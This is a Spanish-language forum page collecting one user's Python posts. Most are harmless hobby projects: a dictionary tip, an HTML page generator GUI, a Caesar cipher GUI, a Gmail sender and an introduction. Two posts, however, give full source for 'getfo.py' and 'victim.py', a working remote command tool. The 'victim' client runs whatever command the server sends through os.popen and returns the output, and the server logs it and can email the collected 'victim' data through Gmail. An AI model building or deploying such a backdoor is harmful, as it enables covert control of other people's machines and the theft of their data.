Comprobar si existe un valor:
Para verificar si una clave se encuentra en el diccionario, es posible utilizar la palabra reservada "in":
Código: (python) [Seleccionar]
d = {
"x": 12,
"y": 7
}

if 'y' in d:
   print(d['y'])   # Imprime 7




Saludos!

10
Python / WebCreator 2.0
« en: Mayo 12, 2015, 02:49:10 pm »
Hola a todos!

Decidí hacerle una gui (aprovechando el "GUI Eterno" [Dross]) a un viejo programa que el usuario Subzer creó hace un tiempecito.
Link a su programa: https://underc0de.org/foro/python/%28python%29-webcreator-1-5-by-subzer/

Funcionamiento:
El usuario ingresa las variables que la librería webcreator.py usará para crear el archivo html.
En caso de exito, nos aparece un showinfo indicandonoslo, si no, un feo showerror nos aparecerá en nuestras pantallas.

El programa ya está testeado, y se le pueden añadir más cosas (como estilos CSS), pero preferí no modificarlo tanto.  ;D

2 archivos:
  • GUI.py
  • webcreator.py

gui.py
Código: (python) [Seleccionar]
from tkinter import *
from tkinter.messagebox import showinfo, showerror
from webcreator import Pagina

class GUI(Tk):
    def __init__(self):
        Tk.__init__(self)
        self.title("WebCreator v2.0")
        self.resizable(0,0)
        self.config(bg="black")

        topimg = PhotoImage(file="header.gif")
        t = Label(self, image=topimg, bg="white")
        t.image = topimg
        t.grid(row=0, column=0, columnspan=2, padx=5, pady=5)

        st = StringVar()
        st1 = StringVar()
        st2 = StringVar()
        st3 = StringVar()
        st4 = StringVar()
        st5 = StringVar()
        st6 = StringVar()
        st7 = StringVar()
        st8 = StringVar()
        st9 = StringVar()
        st10 = StringVar()
        st11 = StringVar()

        Label(self, text="Nombre de la página (html):", bg="black", fg="white").grid(row=1, column=0)
        self.page = Entry(self, textvariable=st, width=35)
        self.page.grid(row=1, column=1)

        Label(self, text="Título de la página:", bg="black", fg="white").grid(row=2, column=0)
        self.title = Entry(self, textvariable=st1, width=35)
        self.title.grid(row=2, column=1)

        Label(self, text="Color de fondo (pagina):", bg="black", fg="white").grid(row=3, column=0)
        self.color = Entry(self, textvariable=st2, width=35)
        self.color.grid(row=3, column=1)

        Label(self, text="Título <h1>:", bg="black", fg="white").grid(row=4, column=0)
        self.h1 = Entry(self, textvariable=st3, width=35)
        self.h1.grid(row=4, column=1)

        Label(self, text="Tamaño <h1> (0 - 200)", bg="black", fg="white").grid(row=5, column=0)
        self.tamh1 = Entry(self, textvariable=st4, width=35)
        self.tamh1.grid(row=5, column=1)

        Label(self, text="Color <h1> (ej: green):", bg="black", fg="white").grid(row=6, column=0)
        self.colorh1 = Entry(self, textvariable=st5, width=35)
        self.colorh1.grid(row=6, column=1)

        Label(self, text="URL de imagen central:", bg="black", fg="white").grid(row=7, column=0)
        self.url = Entry(self, textvariable=st6, width=35)
        self.url.grid(row=7, column=1)

        Label(self, text="Anchura de imagen:", bg="black", fg="white").grid(row=8, column=0)
        self.imganch = Entry(self, textvariable=st7, width=35)
        self.imganch.grid(row=8, column=1)

        Label(self, text="Altura de imagen:", bg="black", fg="white").grid(row=9, column=0)
        self.imgalt = Entry(self, textvariable=st8, width=35)
        self.imgalt.grid(row=9, column=1)

        Label(self, text="Texto (abajo de imagen):", bg="black", fg="white").grid(row=10, column=0)
        self.textdimg = Entry(self, textvariable=st9, width=35)
        self.textdimg.grid(row=10, column=1)

        Label(self, text="Tamaño de texto (img):", bg="black", fg="white").grid(row=11, column=0)
        self.tamtextimg = Entry(self, textvariable=st10, width=35)
        self.tamtextimg.grid(row=11, column=1)

        Label(self, text="Color de texto (img):", bg="black", fg="white").grid(row=12, column=0)
        self.colortextimg = Entry(self, textvariable=st11, width=35)
        self.colortextimg.grid(row=12, column=1)

        Button(self, text="Crear página!", command=self.create, bg="#545b58", fg="white").grid(row=13, column=0, columnspan=2, sticky=NSEW)

    def create(self):
        pagina = self.page.get()
        titulo = self.title.get()
        fondo = self.color.get()
        tam = self.tamh1.get()
        color = self.colorh1.get()
        text = self.h1.get()
        imagen1 = self.url.get()
        imagen2 = self.imganch.get()
        imagen3 = self.imgalt.get()
        textopeq1 = self.textdimg.get()
        textopeq = self.tamtextimg.get()
        textopeq2 = self.colortextimg.get()

        p = Pagina()
        r = p.crear(pagina, titulo, fondo, tam, color, text, imagen1, imagen2, imagen3, textopeq, textopeq1, textopeq2)
        if r == True:
            showinfo("Listo!", "Página %s creada!" % pagina)
        else:
            showerror("Error!", "La página no pudo ser creada")

GUI().mainloop()

webcreator.py  (modificado para su uso en Python 3.4):
Código: (python) [Seleccionar]
#!/usr/bin/env python
####################
## PARA UNDERCODE ##
####################
 
#Version 1.5

body1 = "</body>"
html1 = "</html>"
title1 = "<title>"
title2 = "</title>"
style1 = "<style type='text/css'> <!-- body {background-color: "
style2 = ";} --> </style>"
tamano1 = "<center><font size='"
tamano3 = "' face='Arial' "
tamano2 = "' face='Impact' "
color1 = "color='"
color2 = " '>"
fuentend = "</font></center>"
img1 = "<center><img src='"
img2 = "' width='"
img3 = "' height='"
img4 = "'></center>"
saltolinea = "\n"
 
 
class Pagina():
    def crear(self, pagina, titulo, fondo, tam, color, text, imagen1, imagen2, imagen3, textopeq1, textopeq, textopeq2):
        create=open(pagina, 'w')
        create.write(body1 + saltolinea)
        create.write(html1 + saltolinea )
        create.write(title1 + titulo + title2 + saltolinea )
        create.write(style1 + fondo + style2 + saltolinea)
        create.write(tamano1 + tam + tamano2 + saltolinea)
        create.write(color1 + color + color2 + text + fuentend + saltolinea)
        create.write("<br>")
        create.write(img1 + imagen1 + img2 + imagen2 + img3 + imagen3 + img4 + saltolinea)
        create.write("<br>")
        create.write(tamano1 + textopeq1 + tamano3 + color1 + textopeq2 + color2 + textopeq + fuentend + saltolinea)
        create.write("<font size='5' face='Arial' color='white'><center><a href='http://underc0de.org/foro/index.php'>Underc[0]de Team.</a> </center></font><br>")
        create.close()

        return True

Fotos:



Archivos (e imagen): https://mega.co.nz/#!HtJlkIZZ!04H2hP0iEPszJpkMeYZ4dfBCrWJ_EHUHL2JzRtxoD0s

Saludos!

11
Python / [GUI] Cifrado Caesar
« en: Mayo 11, 2015, 03:03:12 am »
Hola a todos!

Hice una GUI para cifrar y descifrar cadenas con el método de Caesar.
(me basé en el code de: https://d14m4nt3.wordpress.com/2012/01/08/cifrado-caesar-y-un-poco-de-python/ | Si quieren más detalles de este método, visiten la página o visiten wikipedia. xD)

Etimología:
Citar
El cifrado César recibe su nombre en honor a Julio César, que, según Suetonio, lo usó con un desplazamiento de tres espacios para proteger sus mensajes importantes de contenido militar.

El programa está dividido en 2:
    - GUI
    - libreria caesar.py
(el que nos cifrará/descifrará la cadena)

gui.py :
Código: (python) [Seleccionar]
# -*- coding:utf-8 -*-
__author__ = "Barlan"

from caesar import Caesar   # Cifrado Cesar
from tkinter import *

class GUI(Tk):
    def __init__(self):
        Tk.__init__(self)
        self.title("GUI | Cifrado Caesar")
        self.resizable(0,0)
        self.config(bg="black")

        self.i = IntVar()
        self.s = StringVar()

        Label(self, text="Cadena: ", bg="black", fg="white").grid(row=0, column=0)
        self.cadena = Entry(self, textvariable=self.s, width=30)
        self.cadena.grid(row=0, column=1)

        Label(self, text="Clave a usar: ", bg="black", fg="white").grid(row=1, column=0)
        self.clave = Entry(self, width=20)
        self.clave.grid(row=1, column=1)

        self.rc = Radiobutton(self, text="Encriptar", variable=self.i, value=1, command=self.toCaesar, bg="black", fg="white")
        self.rc.grid(row=2, column=0)

        self.rd = Radiobutton(self, text="Desencriptar", variable=self.i, value=2, command=self.toCaesar, bg="black", fg="white")
        self.rd.grid(row=2, column=1)

        Label(self, text="Resultado:", bg="black", fg="red", relief=RIDGE).grid(row=3, column=0, columnspan=2)

    def toCaesar(self):
        if self.i.get() == 1:
            cadena = self.cadena.get().upper()
            clv = int(self.clave.get())
            r = Caesar()
            a = r.cifrar(cadena, clv)

            Label(self, text=a, bg="black", fg="white", relief=RIDGE).grid(row=4, column=0, columnspan=2, sticky=NSEW)

        elif self.i.get() == 2:
            cadena = self.cadena.get().upper()
            clv = int(self.clave.get())
            r = Caesar()
            a = r.descifrar(cadena, clv)

            Label(self, text=a, bg="black", fg="white", relief=RIDGE).grid(row=4, column=0, columnspan=2, sticky=NSEW)

GUI().mainloop()

caesar.py :
Código: (python) [Seleccionar]
# -*- coding: utf-8 -*-

class Caesar():
    def __init__(self):
        # Lista de caracteres a usar.
        self.caract = "ABCDEFGHIJKLMNÑOPQRSTUVWXYZ0123456789"

    def cifrar(self, cadena, clv):
        '''
        Función que cifrará nuestro mensaje, a partir de la cadena y clave proporcionada.
        '''
        resultado = ""
        for letra in cadena:
            if letra == " ":
                resultado += " "
            else:
                op = self.caract.find(letra) + clv
                modulada = int(op) % 37
                resultado = resultado + str(self.caract[modulada])

        return(resultado)

    def descifrar(self, cadena, clv):
        '''
        Función que descifrará nuestro mensaje cifrado, a partir de una clave y cadena proporcionada.
        '''
        resultado = ""
        for letra in cadena:
            if letra == " ":
                resultado += " "
            else:
                op = self.caract.find(letra) - clv
                modulada = int(op) % 37
                resultado = resultado + str(self.caract[modulada])

        return(resultado)



Ejemplo de uso:


Si vemos, cada letra nueva se encuentra a 2 letras distantes de la original.

B + 2 = D
A + 2 = C
R + 2 = T
L + 2 = N
A + 2 = C
N + 2 = O

Lo mismo sucede al descifrarla, solo que ahora "retrocedemos" de caracteres:

D - 2 = B
C - 2 = A
T - 2 = R
N - 2 = L
C - 2 = A
O   2 = N


Saludos!

12
Python / [v2.0/GUI] GetFo
« en: Abril 27, 2015, 08:52:38 am »
I'm back.  8)
(No sé si es "legal" abrir este post, ya que es una actualización de mi anterior aporte, pero como se le añadió algo tan "grande" como una GUI, pues decidí abrirlo  :o)

Si algo le faltaba a getfo.py, era una bonita y simple GUI.  ;D

El funcionamiento es el mismo, abrimos un servidor, lo ponemos a escuchar, acepta una conexión (victima), envia comandos, los recibe, los guarda en un archivo de texto plano, y nos dá la opción de poder enviarlo por correo (Gmail). Usé un poco del code de mis 2 anteriores aportes, para "acelerar el proceso de cocinado".

getfo.py :
Código: (python) [Seleccionar]
from tkinter import *
from tkinter.messagebox import showinfo, showerror, askquestion
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os, sys, smtplib, socket, threading

class GUI(Tk):
    '''La ventana principal, main menu.'''
    def __init__(self):
        Tk.__init__(self)
        self.wm_iconbitmap('icono.ico')
        self.title("GetFo | A socket, a victim")
        self.resizable(0,0)
        self.config(bg="black")

        topimg = PhotoImage(file="mainimage.gif")
        t = Label(self, image=topimg, bg="black")
        t.image = topimg
        t.grid(row =0, column=0, padx=5,pady=5)
     
        Button(self, text="Start Server", command=self.toget, bg="black", fg="green", activeforeground="green", activebackground="black").grid(row=1, column=0, sticky=NSEW)
        Button(self, text="Send info", command=self.toemail, bg="black", fg="green").grid(row=2, column=0, sticky=NSEW)
        Button(self, text="Exit", command=self.quit, bg="black", fg="red").grid(row=3, column=0, sticky=NSEW)

        Label(self, text="Coded by Barlan | April 26, 2015", bg="black", fg="white").grid(row=4, column=0)

    '''Estas funciones "ocultan" la ventana principal, y nos muestran alguna de las otras 2 opciones.'''
    def toget(self):
        self.withdraw()
        Get()

    def toemail(self):
        self.withdraw()
        Email()

class Get(threading.Thread):
    '''Este es el servidor.
    Se asigna un socket, y espera una conexión. Al conectarse un cliente, inicia el envio de comandos.'''
    def __init__(self):
        threading.Thread.__init__(self)
        try:
            self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.socksv.bind(("127.0.0.1", 10327))
            showinfo("Info", "Server now listening on 127.0.0.1:10327")
        except socket.error as e:
            showerror("Sorry!", str(e))
            self.socksv.close()
            sys.exit(1)

        self.root = Toplevel()
        self.root.wm_iconbitmap('icono.ico')
        self.root.resizable(0,0)
        self.root.title("GetFo | Server")
        self.root.config(bg="black")

        topimg = PhotoImage(file="mainserver.gif")
        t = Label(self.root, image=topimg, bg="black")
        t.image = topimg
        t.grid(row=0, column=0)

        self.start()

    def run(self):
        '''start() comienza la ejecución del servidor
        Muestra un mensaje de espera, y procede a esperar una conexión entrante.
        '''
        ac = Label(self.root, text="Awaiting connection...", bg="black", fg="white").grid(row=1, column=0)
        self.socksv.listen(2)
        self.sc, self.addr = self.socksv.accept()

        ac = Label(self.root, text="%s is now awaiting commands!" % str(self.addr), bg="black", fg="white").grid(row=1, column=0)
        self.cmds()

    def cmds(self):
        '''Aquí el usuario intruduce el comando a ejecutar en el cliente.'''
        vc = StringVar()

        f = Frame(self.root, bg="black")
        f.grid(row=2,column=0)
        c = Label(f, text="Command>", bg="black", fg="white").grid(row=0, column=0, sticky=NSEW)
        self.cmd = Entry(f, textvariable=vc, width = 40)
        self.cmd.grid(row=0, column=1)

        Button(self.root, text="Send!", command=self.send_cmd, bg="black", fg="green").grid(row=3, column=0, sticky=NSEW)
        Button(self.root, text="Exit", command=self.ask, bg="black", fg="red").grid(row=4, column=0, sticky=NSEW)

    def ask(self):
        aq = askquestion("Wait!", "Do you want to send the results via email?", icon='info')
        if aq == "yes":
            self.email()
        elif "no":
            self.exit_s()

    def send_cmd(self):
        '''Obtenemos el comando escrito, y lo enviamos al cliente.'''
        to_cmd = self.cmd.get()
        if to_cmd == "exit":
            self.sc.send(to_cmd.encode("utf-8"))
            self.sc.close()
            self.socksv.close()
            exit()

        self.sc.send(to_cmd.encode("utf-8"))
        self.recv_ans()

    def recv_ans(self):
        '''Después de que el cliente ejecuta el comando, recibimos los datos resultantes, y los guardamos en "data.txt"'''
        rec = self.sc.recv(2048)
        txt = rec.decode("utf-8")
        if os.path.exists("data.txt"):
            with open("data.txt", "a") as f:
                f.write(txt + "\n\n")
        else:
            with open("data.txt", "w") as f:
                f.write(txt + "\n\n")
        showinfo("Success!", "Data received and saved on 'data.txt'")
        self.cmds()

    def exit_s(self):
        self.sc.send("exit".encode("utf-8"))
        self.sc.close()
        self.socksv.close()
        exit()

    def email(self):
        self.root.withdraw()
        Email()

class Email():
    '''Email() nos brinda una ventana hija con los campos necesarios para el logueo en el servicio de Gmail.'''
    def __init__(self):
        try:
            self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
        except Exception as e:
            showerror("Fatal Error", str(e))
            exit()
        self.GW = Toplevel()
        self.GW.wm_iconbitmap('icono.ico')
        self.GW.resizable(0,0)
        self.GW.title("GetFo | Gmail Loggin")
        self.GW.config(bg="black")

        topim = PhotoImage(file="header-gmail.gif")
        r = Label(self.GW, image=topim, bg="black")
        r.image = topim
        r.pack()
       
        me = StringVar()
        mp = StringVar()
        Frame_User = Frame(self.GW, bg="black")
        Frame_User.pack()

        Label(Frame_User, text="Your Gmail account:", bg="black", fg="green").pack(side=LEFT)
        self.my_email = Entry(Frame_User, textvariable=me, width = 25)
        self.my_email.pack(side=RIGHT)
   
        Frame_Pass = Frame(self.GW, bg="black")
        Frame_Pass.pack()

        Label(Frame_Pass, text="Your Password:", bg="black", fg="green").pack(side=LEFT)
        self.my_passw = Entry(Frame_Pass, textvariable=mp, show="*", width = 25)
        self.my_passw.pack(side=RIGHT)

        self.email_button = Button(self.GW, text="Enter", command=self.login_gmail, bg="black", fg="green")
        self.email_button.pack(fill=X)

        salir = Button(self.GW, text="Exit", command=self.GW.quit, bg="black", fg="red")
        salir.pack(fill=X)

    def login_gmail(self):
        '''login_gmail() recibe nuestros datos, e intenta loguearnos'''
        account = self.my_email.get()
        self.password = self.my_passw.get()
        self.gmail.ehlo()
        self.gmail.starttls()
        try:
            self.gmail.login(account, self.password)
            showinfo("Success", "You are now logged in Gmail.")
        except:
            showerror("Error", "Unable to login into %s." % account)
            exit()
        gmail = self.gmail
        newEmail(gmail, account)
        self.GW.withdraw()

class newEmail(Email):
    ''' Despues de loguearnos, procedemos a crear el email junto con el archivo (datos recolectados) ajuntados.'''
    def __init__(self, gmail, account):
        ne = Toplevel()
        ne.wm_iconbitmap('icono.ico')
        ne.resizable(0,0)
        ne.title("GetFo | New Email")
        ne.config(bg="black")
        self.gmail = gmail
        self.email = account

        topim = PhotoImage(file="sending_info.gif")
        r = Label(ne, image=topim, bg="black")
        r.image = topim
        r.grid()
   
        et = StringVar()
        es = StringVar()
       
        LE = Frame(ne, bg="black")
        LE.grid(row=1, column=0)

        Label(LE, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, columnspan=2, sticky=NSEW)
        Label(LE, text="Attachment: 'data.txt'", bg="black", fg="orange").grid(row=1, column=0, columnspan=2, sticky=NSEW)

        Label(LE, text="To:", bg="black", fg="green").grid(row = 2, column = 0, columnspan=2, sticky=W)
        self.email_to = Entry(LE, textvariable=et, width = 35)
        self.email_to.grid(row = 2, column = 1, sticky=E)
   
        Label(LE, text="Subject:", bg="black", fg="green").grid(row = 3, column = 0, columnspan=2, sticky=W)
        self.email_subject = Entry(LE, textvariable=es, width = 35)
        self.email_subject.grid(row = 3, column = 1, sticky=E)
   
        Label(LE, text="Your Message:", bg="black", fg="green").grid(row = 4, column = 0, sticky=W)
        self.email_msg = Text(LE, width = 35, height = 5)
        self.email_msg.grid(row = 4, column = 1, sticky=E)
   
        self.email_button = Button(ne, text="Send", command=self.sendEmail, bg="black", fg="green")
        self.email_button.grid(row = 2, column = 0, sticky=NSEW)
       
        salir = Button(ne, text="Exit", command=ne.quit, bg="black", fg="red")
        salir.grid(row = 3, column = 0, sticky=NSEW)

    def sendEmail(self):
        '''Se obtienen los datos de los campos.'''
        self.to = self.email_to.get()
        self.subject = self.email_subject.get()
        self.msg = self.email_msg.get("1.0", END)

        # Ahora añadiremos el archivo al cuerpo del mensaje
        msg = MIMEMultipart('alternative')
        msg['Subject'] = self.subject
        msg['From'] = self.email
        body = self.msg

        filename = "data.txt"
        r = open(filename)
        att = MIMEText(r.read())
        att.add_header("Content-Disposition", "attachment", filename = filename)
        msg.attach(att)

        content = MIMEText(body, 'plain')
        msg.attach(content)
        try:
            self.gmail.sendmail(self.email, self.to, msg.as_string())
            showinfo("Completed","Email sent successfully to %s" % self.to)
            exit()
        except Exception as e:
            showerror("Error", str(e))
            exit()

GUI().mainloop()

victim.py :
Código: (python) [Seleccionar]
import socket, os

class cCMD():
    def start(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(("127.0.0.1", 10327))
            print("[!+] Connection established!")
        except:
            print("[-] Can't establish a connection to server.")
            exit()
        while True:
            print("\n[...] Awaiting commands...")
            re = sock.recv(1024)
            cmd = re.decode("utf-8")
            if cmd == "exit":
                print("\n[...] Exiting")
                exit()
            text = os.popen(cmd)
            data = str(text.read())
            sock.send(data.encode("utf-8"))
            print("[+] Data sent succesfully.")

if __name__ == "__main__":
    cCMD().start()

Fotocapturas:










El código fuente de los 2 archivos, así como las imagenes usadas están dentro de un archivo .rar: https://mega.co.nz/#!mggHgYLJ!Mpu0UJFWZY7L4hRN_FCa2jzm_xdXN8D0c173GW2CaNE


Críticas y opiniones son bienvenidos.

Saludos!

13
Python / [Herramienta] getfo.py
« en: Abril 22, 2015, 01:42:57 am »
Buenas noches/dias/tardes.
Estuve escribiendo esta herramienta, aprovechando un poco el code del email-sender que hice hace unos meses.
También para practicar sockets, y para aprovechar uno de los inconvenientes del primer code: no poder adjuntar archivos en un email.

Son 2 archivos, el servidor y la víctima (o el cliente, jeje).

Funcionamiento:
Abrimos el servidor, y esperamos la conexión de la victima.
Mientras tanto, extrañamente la victima se conecta a nosotros  ::)
El servidor ahora puede enviarle comandos, y la victima los recibe y ejecuta con os.popen(comando), y envía los resultados al servidor.

El servidor guarda el resultado en un archivo de texto, y da la opcion de enviar otro comando, o no, y si desea enviar el archivo por correo [Gmail] (puede servir para un "trabajo en equipo", quizás)
Si elegimos enviarlo por correo, iniciamos sesión en en el mismo programa, especificamos un destinatario, y envia el archivo.

Servidor (getfo.py):
Código: (python) [Seleccionar]
import socket, os
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Get():
    '''
    Get() crea el servidor, y apartír de ahi espera una conexión entrante (la victima).
    Lo siguiente es enviar un comando, y esperar los datos de regreso.
    Despues, elegimos la opción de si guardarlo en la PC, o enviarlo via correo electrónico.
    '''
    def __init__(self):
        self.i = True

    def menu(self):
        os.system("cls")
        print("""
#================================#
# getfo.py
# One client, one victim.
#================================#
1) Start server.
2) Send info.
3) Exit.""")
        e = int(input(">> "))
        if e == 1: self.start()
        elif e == 2: self.for_mail()
        elif e == 3:
            self.i = False
            exit_cmd()

    def start(self):
        '''start() comienza la ejecución del servidor
        Imprime un mensaje de exito y procede a esperar una conexión entrante.
        '''

        self.socksv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socksv.bind(("127.0.0.1", 10232))
        self.socksv.listen(2)
        print("\n[+] Server now listening on 127.0.0.1:10232\n")
        self.sc, self.addr = self.socksv.accept()
        print("[+] %s is now online." % str(self.addr))
        self.send_cmd()

    def send_cmd(self):
        '''send_cmd(), sus funciones son:
                1) Enviar comandos y recibir los resultados
                2) Guardar los datos en un archivo de texto.

            En caso de elegir enviarlos por correo electrónico, se procede a ello pasando a la clase send_Results().
        '''

        cmd = str(input("Command? (""exit"" to close)>> "))
        if cmd == "exit":
            self.sc.close()
            self.socksv()
            exit_cmd()

        self.sc.send(cmd.encode("utf-8"))
        print("[!...] Awaiting....")
        resp = self.sc.recv(2048)
        if os.path.exists("data_info.txt"):
            with open("data_info.txt", "a") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        else:
            with open("data_info.txt", "w") as f:
                f.write(str(resp.decode("utf-8") + "\n\n"))
        print("[+] Data received and saved on 'data_info.txt'")
        a = str(input("\n[?] Want to send another command? (y/n) ")).lower()
        if a == "y":
            self.send_cmd()
        elif a == "n":
            g = str(input("[?!] Do you want to send the info via email? (y/n): ")).lower()
            if g == "y":
                self.for_mail()
            elif g == "n":
                exit_cmd()

    def for_mail(self):
        if os.path.exists("data_info.txt"):
            my_e = str(input("\n[?] Your gmail account: "))
            passw = str(input("[?] Your password: "))
            if self.i == True:
                b = Email(my_e, passw)
                b.login()
            else:
                self.menu()
        else:
            print("[!] File: data_info.txt doesn't exist.\nPress any key to return to the main menu....")
            self.sc.close()
            self.socksv()
            self.menu()

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

class Email():
    ''' Email() es el encargado de enviar el fichero por Gmail.
    Son recibidas 2 variables: tu correo, y tu contraseña.
    Se inicia sesión, y se procede a definir el email que recibirá el fichero.
    '''

    def __init__(self, my_e, passw):
        self.gmail = smtplib.SMTP('smtp.gmail.com', 587)
        self.mail = my_e
        self.passw = passw
   
    def login(self):
        '''login() se encarga de hacer conexión al servidor de Gmail, e inicia sesión con nuestros datos.'''
        self.gmail.ehlo()
        self.gmail.starttls()
        try:
            self.gmail.login(self.mail, self.passw)
            self.send_message()
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to exit....")
            input()
            exit_cmd()

    def send_message(self):
        '''send_message() se encarga de definir el destino del correo,
        y además adjunta el archivo con los datos recopilados.'''

        e_to = str(input("\n[?] To address: "))
        msg = MIMEMultipart('alternative')
        msg['Subject'] = 'Information for you'
        msg['From'] = self.mail
        body = 'I recopiled this information from a victim.'

        filename = "data_info.txt"
        r = open(filename)
        att = MIMEText(r.read())
        att.add_header("Content-Disposition", "attachment", filename = filename)
        msg.attach(att)

        content = MIMEText(body, 'plain')
        msg.attach(content)
        print("[!] Sending email to %s..." % e_to)
        try:
            self.gmail.sendmail(self.mail, e_to, msg.as_string())
        except Exception as e:
            print("[-] Error: " + str(e) + "\n\nPress any key to return to the main menu....")
            input()
            a = Get()
            a.menu()

        print("[+] Data sent successfully.")

#////////////////////////////////////////////////////////////////////////////////////////////////////////////#

def exit_cmd():
        '''El mensaje de adios'''
        print("\nExiting... ")
        copyright()

def copyright():
        '''Creditos'''
        print("(C) Barlan. | April 21, 2015\n")

if __name__ == "__main__":
    Get().menu()



La victima (victim.py):
Código: (python) [Seleccionar]
import socket, os

class cCMD():
    def start(self):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.connect(("127.0.0.1", 10232))
            print("[!+] Connection established!")
        except:
            print("[-] Can't establish a connection to server.")
            exit()
        while True:
            print("\n[...] Awaiting commands...")
            re = sock.recv(1024)
            if not re:
                print("\n[...] Exiting")
                exit()
            cmd = re.decode("utf-8")
            print("[!] Executing command...")
            text = os.popen(cmd)
            data = str(text.read())
            sock.send(data.encode("utf-8"))
            print("[+] Data sent succesfully.")

if __name__ == "__main__":
    cCMD().start()

Algunas fotocapturas:








Pensaba agregarle una GUI, pero aún no domino tkinter (no se deja  :o)
Me gustaría que opinaran acerca del code, si existen partes removibles, si puedo añadirle más funciones (o limpiar un poco el code, porque hasta yo me perdía  ;D), no sé, ustedes digan.

Sin más que decir, me despido.

Saludos!

14
Python / [tkinter/Gmail] Email-Sender
« en: Enero 19, 2015, 04:12:23 am »
(Mi primer aporte! :'D)
Buenas noches/tardes/días, escribí este simple email sender como parte de mis prácticas con tkinter (y de paso con smtplib), y con Python 3.4
Código: (python) [Seleccionar]
# Coded by Barlan. 2015
from tkinter import *
from tkinter.messagebox import showinfo, showerror
import smtplib

class Login(Tk):
'''Here the Login window appears and receives data from:
- Email account.
- Password.
Also, tries to log in to your gmail account.'''
def __init__(self):
try:
self.gmail = smtplib.SMTP("smtp.gmail.com", 587)
except Exception as e:
showerror("Fatal Error", str(e))
exit()
Tk.__init__(self)
#self.geometry("268x157")
self.resizable(0,0)
self.title("e-Sender")
self.config(bg="black")

me = StringVar()
mp = StringVar()
Label(self, text="Your Gmail account:", bg="black", fg="green").grid(row = 0, column = 0, sticky=W)
self.my_email = Entry(self, textvariable=me, width = 25)
self.my_email.grid(row = 0, column = 1)

Label(self, text="Your Password:", bg="black", fg="green").grid(row = 1, column = 0, sticky=W)
self.my_passw = Entry(self, textvariable=mp, width = 25)
self.my_passw.grid(row = 1, column = 1)

self.email_button = Button(self, text="Enter", command=self.login_gmail, bg="black", fg="green")
self.email_button.grid(row = 2, column = 0, sticky=NSEW)

salir = Button(self, text="Exit", command=self.quit, bg="black", fg="red")
salir.grid(row = 2, column = 1, sticky=NSEW)

def login_gmail(self):
account = self.my_email.get()
self.password = self.my_passw.get()
self.gmail.ehlo()
self.gmail.starttls()
try:
self.gmail.login(account, self.password)
showinfo("Success", "You are now logged in Gmail.")
except:
showerror("Error", "Unable to login into %s." % account)
exit()
gmail = self.gmail
newEmail(gmail, account)
self.withdraw()

class newEmail(Login):
''' Now we can create a new email, specifying:
- to
- subject
- message'''
def __init__(self, gmail, account):
Tk.__init__(self)
self.resizable(0,0)
self.title("New Email")
self.config(bg="black")
self.gmail = gmail
self.email = account

et = StringVar()
es = StringVar()
Label(self, text="From: %s" % account, bg="black", fg="orange").grid(row=0, column=0, sticky=NSEW)

Label(self, text="To:", bg="black", fg="green").grid(row = 1, column = 0, sticky=W)
self.email_to = Entry(self, textvariable=et, width = 25)
self.email_to.grid(row = 1, column = 1, sticky=E)

Label(self, text="Subject:", bg="black", fg="green").grid(row = 2, column = 0, sticky=W)
self.email_subject = Entry(self, textvariable=es, width = 25)
self.email_subject.grid(row = 2, column = 1, sticky=E)

Label(self, text="Your Message:", bg="black", fg="green").grid(row = 3, column = 0, sticky=W)
self.email_msg = Text(self, width = 25, height = 5)
self.email_msg.grid(row = 3, column = 1, sticky=E)

self.email_button = Button(self, text="Send", command=self.sendEmail, bg="black", fg="green")
self.email_button.grid(row = 4, column = 0, sticky=NSEW)

salir = Button(self, text="Exit", command=self.quit, bg="black", fg="red")
salir.grid(row = 4, column = 1, sticky=NSEW)

def sendEmail(self):
self.to = self.email_to.get()
self.subject = self.email_subject.get()
self.msg = self.email_msg.get("1.0", END)
headers = "From: %s\nTo: %s\nSubject: %s\n\n" % (self.email, self.to, self.subject)
body = str(headers + self.msg)
try:
self.gmail.sendmail(self.email, self.to, body)
showinfo("Completed","Email sent successfully to %s" % self.to)
exit()
except Exception as e:
showerror("Error", str(e))
exit()

L = Login()
L.mainloop()





Probablemente se puede añadir o quitar cosas, pero solo fué de práctica, ya luego lo mejoraré (si es que me acuerdo xD).
Saludos!

15
Presentaciones y cumpleaños / Me presento. :)
« en: Octubre 22, 2014, 04:25:25 am »
Buenas, me llamo Barlan (anteriormente tenía otros miles de nicks, pero me siento comodo con este). xD
Actualmente curso el 1er semestre de Bachillerato, pero eso no me ha impedido dejar a un lado la programación.

Ya he estado revisando muchos post en el foro de Python, ya que actualmente me estoy dedicando a aprender ese lenguaje (luego me tiraré a C++), e incluso ya me he metido al IRC.
Y bueno, he creado unos cuantos programitas que he hecho a medida que aprendo algo en Python (como hacer la típica calculadora para sumar, restar, multiplicar, dividir, ecuaciones, entre otras xD)

Bueno, eso es todo, pronto vendré a postear dudas en algún foro (o en casos extremos, a publicar código hecho por mi) x)

Saludos!

Páginas: [1]